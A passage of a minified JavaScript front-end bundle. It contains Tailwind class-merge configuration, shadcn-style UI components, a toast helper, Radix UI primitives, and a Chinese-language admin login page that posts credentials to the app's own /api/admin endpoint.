ion:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:I()}],overflow:[{overflow:O()}],"overflow-x":[{"overflow-x":O()}],"overflow-y":[{"overflow-y":O()}],overscroll:[{overscroll:L()}],"overscroll-x":[{"overscroll-x":L()}],"overscroll-y":[{"overscroll-y":L()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:D()}],"inset-x":[{"inset-x":D()}],"inset-y":[{"inset-y":D()}],start:[{start:D()}],end:[{end:D()}],top:[{top:D()}],right:[{right:D()}],bottom:[{bottom:D()}],left:[{left:D()}],visibility:["visible","invisible","collapse"],z:[{z:[Ya,"auto",Fe,$e]}],basis:[{basis:[rl,"full","auto",c,...R()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ut,rl,"auto","initial","none",$e]}],grow:[{grow:["",ut,Fe,$e]}],shrink:[{shrink:["",ut,Fe,$e]}],order:[{order:[Ya,"first","last","none",Fe,$e]}],"grid-cols":[{"grid-cols":z()}],"col-start-end":[{col:Z()}],"col-start":[{"col-start":ne()}],"col-end":[{"col-end":ne()}],"grid-rows":[{"grid-rows":z()}],"row-start-end":[{row:Z()}],"row-start":[{"row-start":ne()}],"row-end":[{"row-end":ne()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":fe()}],"auto-rows":[{"auto-rows":fe()}],gap:[{gap:R()}],"gap-x":[{"gap-x":R()}],"gap-y":[{"gap-y":R()}],"justify-content":[{justify:[...xe(),"normal"]}],"justify-items":[{"justify-items":[...$(),"normal"]}],"justify-self":[{"justify-self":["auto",...$()]}],"align-content":[{content:["normal",...xe()]}],"align-items":[{items:[...$(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...$(),{baseline:["","last"]}]}],"place-content":[{"place-content":xe()}],"place-items":[{"place-items":[...$(),"baseline"]}],"place-self":[{"place-self":["auto",...$()]}],p:[{p:R()}],px:[{px:R()}],py:[{py:R()}],ps:[{ps:R()}],pe:[{pe:R()}],pt:[{pt:R()}],pr:[{pr:R()}],pb:[{pb:R()}],pl:[{pl:R()}],m:[{m:H()}],mx:[{mx:H()}],my:[{my:H()}],ms:[{ms:H()}],me:[{me:H()}],mt:[{mt:H()}],mr:[{mr:H()}],mb:[{mb:H()}],ml:[{ml:H()}],"space-x":[{"space-x":R()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":R()}],"space-y-reverse":["space-y-reverse"],size:[{size:oe()}],w:[{w:[c,"screen",...oe()]}],"min-w":[{"min-w":[c,"screen","none",...oe()]}],"max-w":[{"max-w":[c,"screen","none","prose",{screen:[o]},...oe()]}],h:[{h:["screen","lh",...oe()]}],"min-h":[{"min-h":["screen","lh","none",...oe()]}],"max-h":[{"max-h":["screen","lh",...oe()]}],"font-size":[{text:["base",n,Sc,Zi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,Fe,Im]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",Am,$e]}],"font-family":[{font:[G5,$e,e]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[a,Fe,$e]}],"line-clamp":[{"line-clamp":[ut,"none",Fe,Im]}],leading:[{leading:[i,...R()]}],"list-image":[{"list-image":["none",Fe,$e]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",Fe,$e]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:P()}],"text-color":[{text:P()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...Y(),"wavy"]}],"text-decoration-thickness":[{decoration:[ut,"from-font","auto",Fe,Zi]}],"text-decoration-color":[{decoration:P()}],"underline-offset":[{"underline-offset":[ut,"auto",Fe,$e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:R()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",Fe,$e]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",Fe,$e]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:q()}],"bg-repeat":[{bg:B()}],"bg-size":[{bg:_()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},Ya,Fe,$e],radial:["",Fe,$e],conic:[Ya,Fe,$e]},Y5,q5]}],"bg-color":[{bg:P()}],"gradient-from-pos":[{from:W()}],"gradient-via-pos":[{via:W()}],"gradient-to-pos":[{to:W()}],"gradient-from":[{from:P()}],"gradient-via":[{via:P()}],"gradient-to":[{to:P()}],rounded:[{rounded:le()}],"rounded-s":[{"rounded-s":le()}],"rounded-e":[{"rounded-e":le()}],"rounded-t":[{"rounded-t":le()}],"rounded-r":[{"rounded-r":le()}],"rounded-b":[{"rounded-b":le()}],"rounded-l":[{"rounded-l":le()}],"rounded-ss":[{"rounded-ss":le()}],"rounded-se":[{"rounded-se":le()}],"rounded-ee":[{"rounded-ee":le()}],"rounded-es":[{"rounded-es":le()}],"rounded-tl":[{"rounded-tl":le()}],"rounded-tr":[{"rounded-tr":le()}],"rounded-br":[{"rounded-br":le()}],"rounded-bl":[{"rounded-bl":le()}],"border-w":[{border:J()}],"border-w-x":[{"border-x":J()}],"border-w-y":[{"border-y":J()}],"border-w-s":[{"border-s":J()}],"border-w-e":[{"border-e":J()}],"border-w-t":[{"border-t":J()}],"border-w-r":[{"border-r":J()}],"border-w-b":[{"border-b":J()}],"border-w-l":[{"border-l":J()}],"divide-x":[{"divide-x":J()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":J()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...Y(),"hidden","none"]}],"divide-style":[{divide:[...Y(),"hidden","none"]}],"border-color":[{border:P()}],"border-color-x":[{"border-x":P()}],"border-color-y":[{"border-y":P()}],"border-color-s":[{"border-s":P()}],"border-color-e":[{"border-e":P()}],"border-color-t":[{"border-t":P()}],"border-color-r":[{"border-r":P()}],"border-color-b":[{"border-b":P()}],"border-color-l":[{"border-l":P()}],"divide-color":[{divide:P()}],"outline-style":[{outline:[...Y(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ut,Fe,$e]}],"outline-w":[{outline:["",ut,Sc,Zi]}],"outline-color":[{outline:P()}],shadow:[{shadow:["","none",f,Tu,Eu]}],"shadow-color":[{shadow:P()}],"inset-shadow":[{"inset-shadow":["none",m,Tu,Eu]}],"inset-shadow-color":[{"inset-shadow":P()}],"ring-w":[{ring:J()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:P()}],"ring-offset-w":[{"ring-offset":[ut,Zi]}],"ring-offset-color":[{"ring-offset":P()}],"inset-ring-w":[{"inset-ring":J()}],"inset-ring-color":[{"inset-ring":P()}],"text-shadow":[{"text-shadow":["none",g,Tu,Eu]}],"text-shadow-color":[{"text-shadow":P()}],opacity:[{opacity:[ut,Fe,$e]}],"mix-blend":[{"mix-blend":[...V(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":V()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ut]}],"mask-image-linear-from-pos":[{"mask-linear-from":re()}],"mask-image-linear-to-pos":[{"mask-linear-to":re()}],"mask-image-linear-from-color":[{"mask-linear-from":P()}],"mask-image-linear-to-color":[{"mask-linear-to":P()}],"mask-image-t-from-pos":[{"mask-t-from":re()}],"mask-image-t-to-pos":[{"mask-t-to":re()}],"mask-image-t-from-color":[{"mask-t-from":P()}],"mask-image-t-to-color":[{"mask-t-to":P()}],"mask-image-r-from-pos":[{"mask-r-from":re()}],"mask-image-r-to-pos":[{"mask-r-to":re()}],"mask-image-r-from-color":[{"mask-r-from":P()}],"mask-image-r-to-color":[{"mask-r-to":P()}],"mask-image-b-from-pos":[{"mask-b-from":re()}],"mask-image-b-to-pos":[{"mask-b-to":re()}],"mask-image-b-from-color":[{"mask-b-from":P()}],"mask-image-b-to-color":[{"mask-b-to":P()}],"mask-image-l-from-pos":[{"mask-l-from":re()}],"mask-image-l-to-pos":[{"mask-l-to":re()}],"mask-image-l-from-color":[{"mask-l-from":P()}],"mask-image-l-to-color":[{"mask-l-to":P()}],"mask-image-x-from-pos":[{"mask-x-from":re()}],"mask-image-x-to-pos":[{"mask-x-to":re()}],"mask-image-x-from-color":[{"mask-x-from":P()}],"mask-image-x-to-color":[{"mask-x-to":P()}],"mask-image-y-from-pos":[{"mask-y-from":re()}],"mask-image-y-to-pos":[{"mask-y-to":re()}],"mask-image-y-from-color":[{"mask-y-from":P()}],"mask-image-y-to-color":[{"mask-y-to":P()}],"mask-image-radial":[{"mask-radial":[Fe,$e]}],"mask-image-radial-from-pos":[{"mask-radial-from":re()}],"mask-image-radial-to-pos":[{"mask-radial-to":re()}],"mask-image-radial-from-color":[{"mask-radial-from":P()}],"mask-image-radial-to-color":[{"mask-radial-to":P()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":T()}],"mask-image-conic-pos":[{"mask-conic":[ut]}],"mask-image-conic-from-pos":[{"mask-conic-from":re()}],"mask-image-conic-to-pos":[{"mask-conic-to":re()}],"mask-image-conic-from-color":[{"mask-conic-from":P()}],"mask-image-conic-to-color":[{"mask-conic-to":P()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:q()}],"mask-repeat":[{mask:B()}],"mask-size":[{mask:_()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",Fe,$e]}],filter:[{filter:["","none",Fe,$e]}],blur:[{blur:ue()}],brightness:[{brightness:[ut,Fe,$e]}],contrast:[{contrast:[ut,Fe,$e]}],"drop-shadow":[{"drop-shadow":["","none",y,Tu,Eu]}],"drop-shadow-color":[{"drop-shadow":P()}],grayscale:[{grayscale:["",ut,Fe,$e]}],"hue-rotate":[{"hue-rotate":[ut,Fe,$e]}],invert:[{invert:["",ut,Fe,$e]}],saturate:[{saturate:[ut,Fe,$e]}],sepia:[{sepia:["",ut,Fe,$e]}],"backdrop-filter":[{"backdrop-filter":["","none",Fe,$e]}],"backdrop-blur":[{"backdrop-blur":ue()}],"backdrop-brightness":[{"backdrop-brightness":[ut,Fe,$e]}],"backdrop-contrast":[{"backdrop-contrast":[ut,Fe,$e]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ut,Fe,$e]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ut,Fe,$e]}],"backdrop-invert":[{"backdrop-invert":["",ut,Fe,$e]}],"backdrop-opacity":[{"backdrop-opacity":[ut,Fe,$e]}],"backdrop-saturate":[{"backdrop-saturate":[ut,Fe,$e]}],"backdrop-sepia":[{"backdrop-sepia":["",ut,Fe,$e]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":R()}],"border-spacing-x":[{"border-spacing-x":R()}],"border-spacing-y":[{"border-spacing-y":R()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",Fe,$e]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ut,"initial",Fe,$e]}],ease:[{ease:["linear","initial",k,Fe,$e]}],delay:[{delay:[ut,Fe,$e]}],animate:[{animate:["none",C,Fe,$e]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,Fe,$e]}],"perspective-origin":[{"perspective-origin":I()}],rotate:[{rotate:ce()}],"rotate-x":[{"rotate-x":ce()}],"rotate-y":[{"rotate-y":ce()}],"rotate-z":[{"rotate-z":ce()}],scale:[{scale:ye()}],"scale-x":[{"scale-x":ye()}],"scale-y":[{"scale-y":ye()}],"scale-z":[{"scale-z":ye()}],"scale-3d":["scale-3d"],skew:[{skew:Re()}],"skew-x":[{"skew-x":Re()}],"skew-y":[{"skew-y":Re()}],transform:[{transform:[Fe,$e,"","none","gpu","cpu"]}],"transform-origin":[{origin:I()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:Le()}],"translate-x":[{"translate-x":Le()}],"translate-y":[{"translate-y":Le()}],"translate-z":[{"translate-z":Le()}],"translate-none":["translate-none"],accent:[{accent:P()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:P()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",Fe,$e]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":R()}],"scroll-mx":[{"scroll-mx":R()}],"scroll-my":[{"scroll-my":R()}],"scroll-ms":[{"scroll-ms":R()}],"scroll-me":[{"scroll-me":R()}],"scroll-mt":[{"scroll-mt":R()}],"scroll-mr":[{"scroll-mr":R()}],"scroll-mb":[{"scroll-mb":R()}],"scroll-ml":[{"scroll-ml":R()}],"scroll-p":[{"scroll-p":R()}],"scroll-px":[{"scroll-px":R()}],"scroll-py":[{"scroll-py":R()}],"scroll-ps":[{"scroll-ps":R()}],"scroll-pe":[{"scroll-pe":R()}],"scroll-pt":[{"scroll-pt":R()}],"scroll-pr":[{"scroll-pr":R()}],"scroll-pb":[{"scroll-pb":R()}],"scroll-pl":[{"scroll-pl":R()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",Fe,$e]}],fill:[{fill:["none",...P()]}],"stroke-w":[{stroke:[ut,Sc,Zi,Im]}],stroke:[{stroke:["none",...P()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},eI=P5(Z5);function Et(...t){return eI(lj(t))}const tI=cj("inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-white hover:bg-destructive/90",outline:"border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-9 px-4 py-2 has-[>svg]:px-3",sm:"h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",lg:"h-10 rounded-md px-6 has-[>svg]:px-4",icon:"size-9","icon-sm":"size-8","icon-lg":"size-10"}},defaultVariants:{variant:"default",size:"default"}});function te({className:t,variant:e,size:n,asChild:r=!1,...a}){const i=r?ij:"button";return s.jsx(i,{"data-slot":"button",className:Et(tI({variant:e,size:n,className:t})),...a})}function se({className:t,type:e,...n}){return s.jsx("input",{type:e,"data-slot":"input",className:Et("h-9 w-full min-w-0 rounded-md border border-input bg-transparent px-3 py-1 text-base shadow-xs outline-none placeholder:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 md:text-sm focus-visible:ring-2 focus-visible:ring-ring",t),...n})}function nI(){const t=Ci(),[e,n]=b.useState(""),[r,a]=b.useState(""),[i,o]=b.useState(""),[c,u]=b.useState(!1),h=async()=>{o(""),u(!0);try{const f=await vt("/api/admin",{username:e.trim(),password:r});if((f==null?void 0:f.success)!==!1&&(f!=null&&f.token)){ZA(f.token),t("/dashboard",{replace:!0});return}o(f.error||"用户名或密码错误")}catch(f){const m=f;o(m.status===401?"用户名或密码错误":(m==null?void 0:m.message)||"网络错误,请重试")}finally{u(!1)}};return s.jsxs("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-4",children:[s.jsxs("div",{className:"absolute inset-0 overflow-hidden",children:[s.jsx("div",{className:"absolute top-1/4 left-1/4 w-96 h-96 bg-[#38bdac]/5 rounded-full blur-3xl"}),s.jsx("div",{className:"absolute bottom-1/4 right-1/4 w-96 h-96 bg-blue-500/5 rounded-full blur-3xl"})]}),s.jsxs("div",{className:"w-full max-w-md relative z-10",children:[s.jsxs("div",{className:"text-center mb-8",children:[s.jsx("div",{className:"w-16 h-16 bg-[#38bdac]/20 rounded-2xl flex items-center justify-center mx-auto mb-4 border border-[#38bdac]/30",children:s.jsx(_c,{className:"w-8 h-8 text-[#38bdac]"})}),s.jsx("h1",{className:"text-2xl font-bold text-white mb-2",children:"管理后台"}),s.jsx("p",{className:"text-gray-400",children:"一场SOUL的创业实验场"})]}),s.jsxs("div",{className:"bg-[#0f2137] rounded-2xl p-8 shadow-xl border border-gray-700/50 backdrop-blur-xl",children:[s.jsx("h2",{className:"text-xl font-semibold text-white mb-6 text-center",children:"管理员登录"}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"用户名"}),s.jsxs("div",{className:"relative",children:[s.jsx(co,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"text",value:e,onChange:f=>n(f.target.value),placeholder:"请输入用户名",className:"pl-10 bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"密码"}),s.jsxs("div",{className:"relative",children:[s.jsx(QM,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"password",value:r,onChange:f=>a(f.target.value),placeholder:"请输入密码",className:"pl-10 bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 focus:border-[#38bdac]",onKeyDown:f=>f.key==="Enter"&&h()})]})]}),i&&s.jsx("div",{className:"bg-red-500/10 text-red-400 text-sm p-3 rounded-lg border border-red-500/20",children:i}),s.jsx(te,{onClick:h,disabled:c,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white py-5 disabled:opacity-50",children:c?"登录中...":"登录"})]})]}),s.jsx("p",{className:"text-center text-gray-500 text-xs mt-6",children:"Soul创业实验场 · 后台管理系统"})]})]})}const Ce=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("rounded-xl border bg-card text-card-foreground shadow",t),...e}));Ce.displayName="Card";const Ye=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex flex-col space-y-1.5 p-6",t),...e}));Ye.displayName="CardHeader";const Qe=b.forwardRef(({className:t,...e},n)=>s.jsx("h3",{ref:n,className:Et("font-semibold leading-none tracking-tight",t),...e}));Qe.displayName="CardTitle";const It=b.forwardRef(({className:t,...e},n)=>s.jsx("p",{ref:n,className:Et("text-sm text-muted-foreground",t),...e}));It.displayName="CardDescription";const Ee=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("p-6 pt-0",t),...e}));Ee.displayName="CardContent";const rI=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex items-center p-6 pt-0",t),...e}));rI.displayName="CardFooter";const sI={success:{bg:"#f0fdf4",border:"#22c55e",icon:"✓"},error:{bg:"#fef2f2",border:"#ef4444",icon:"✕"},info:{bg:"#eff6ff",border:"#3b82f6",icon:"ℹ"}};function Rm(t,e="info",n=3e3){const r=`toast-${Date.now()}`,a=sI[e],i=document.createElement("div");i.id=r,i.setAttribute("role","alert"),Object.assign(i.style,{position:"fixed",top:"24px",right:"24px",zIndex:"9999",display:"flex",alignItems:"center",gap:"10px",padding:"12px 18px",borderRadius:"10px",background:a.bg,border:`1.5px solid ${a.border}`,boxShadow:"0 4px 20px rgba(0,0,0,.12)",fontSize:"14px",color:"#1a1a1a",fontWeight:"500",maxWidth:"380px",lineHeight:"1.5",opacity:"0",transform:"translateY(-8px)",transition:"opacity .22s ease, transform .22s ease",pointerEvents:"none"});const o=document.createElement("span");Object.assign(o.style,{width:"20px",height:"20px",borderRadius:"50%",background:a.border,color:"#fff",display:"flex",alignItems:"center",justifyContent:"center",fontSize:"12px",fontWeight:"700",flexShrink:"0"}),o.textContent=a.icon;const c=document.createElement("span");c.textContent=t,i.appendChild(o),i.appendChild(c),document.body.appendChild(i),requestAnimationFrame(()=>{i.style.opacity="1",i.style.transform="translateY(0)"});const u=setTimeout(()=>h(r),n);function h(f){clearTimeout(u);const m=document.getElementById(f);m&&(m.style.opacity="0",m.style.transform="translateY(-8px)",setTimeout(()=>{var g;return(g=m.parentNode)==null?void 0:g.removeChild(m)},250))}}const ie={success:(t,e)=>Rm(t,"success",e),error:(t,e)=>Rm(t,"error",e),info:(t,e)=>Rm(t,"info",e)};function ot(t,e,{checkForDefaultPrevented:n=!0}={}){return function(a){if(t==null||t(a),n===!1||!a.defaultPrevented)return e==null?void 0:e(a)}}function aI(t,e){const n=b.createContext(e),r=i=>{const{children:o,...c}=i,u=b.useMemo(()=>c,Object.values(c));return s.jsx(n.Provider,{value:u,children:o})};r.displayName=t+"Provider";function a(i){const o=b.useContext(n);if(o)return o;if(e!==void 0)return e;throw new Error(`\`${i}\` must be used within \`${t}\``)}return[r,a]}function Ei(t,e=[]){let n=[];function r(i,o){const c=b.createContext(o),u=n.length;n=[...n,o];const h=m=>{var k;const{scope:g,children:y,...N}=m,w=((k=g==null?void 0:g[t])==null?void 0:k[u])||c,v=b.useMemo(()=>N,Object.values(N));return s.jsx(w.Provider,{value:v,children:y})};h.displayName=i+"Provider";function f(m,g){var w;const y=((w=g==null?void 0:g[t])==null?void 0:w[u])||c,N=b.useContext(y);if(N)return N;if(o!==void 0)return o;throw new Error(`\`${m}\` must be used within \`${i}\``)}return[h,f]}const a=()=>{const i=n.map(o=>b.createContext(o));return function(c){const u=(c==null?void 0:c[t])||i;return b.useMemo(()=>({[`__scope${t}`]:{...c,[t]:u}}),[c,u])}};return a.scopeName=t,[r,iI(a,...e)]}function iI(...t){const e=t[0];if(t.length===1)return e;const n=()=>{const r=t.map(a=>({useScope:a(),scopeName:a.scopeName}));return function(i){const o=r.reduce((c,{useScope:u,scopeName:h})=>{const m=u(i)[`__scope${h}`];return{...c,...m}},{});return b.useMemo(()=>({[`__scope${e.scopeName}`]:o}),[o])}};return n.scopeName=e.scopeName,n}var or=globalThis!=null&&globalThis.document?b.useLayoutEffect:()=>{},oI=uf[" useId ".trim().toString()]||(()=>{}),lI=0;function fi(t){const[e,n]=b.useState(oI());return or(()=>{n(r=>r??String(lI++))},[t]),e?`radix-${e}`:""}var cI=uf[" useInsertionEffect ".trim().toString()]||or;function xo({prop:t,defaultProp:e,onChange:n=()=>{},caller:r}){const[a,i,o]=dI({defaultProp:e,onChange:n}),c=t!==void 0,u=c?t:a;{const f=b.useRef(t!==void 0);b.useEffect(()=>{const m=f.current;m!==c&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${c?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),f.current=c},[c,r])}const h=b.useCallback(f=>{var m;if(c){const g=uI(f)?f(t):f;g!==t&&((m=o.current)==null||m.call(o,g))}else i(f)},[c,t,i,o]);return[u,h]}function dI({defaultProp:t,onChange:e}){const[n,r]=b.useState(t),a=b.useRef(n),i=b.useRef(e);return cI(()=>{i.current=e},[e]),b.useEffect(()=>{var o;a.current!==n&&((o=i.current)==null||o.call(i,n),a.current=n)},[n,a]),[n,r,i]}function uI(t){return typeof t=="function"}function ed(t){const e=hI(t),n=b.forwardRef((r,a)=>{const{children:i,...o}=r,c=b.Children.toArray(i),u=c.find(pI);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}function hI(t){const e=b.forwardRef((n,r)=>{const{children:a,...i}=n;if(b.isValidElement(a)){const o=gI(a),c=mI(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var fI=Symbol("radix.slottable");function pI(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===fI}function mI(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function gI(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var xI=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ht=xI.reduce((t,e)=>{const n=ed(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{});function 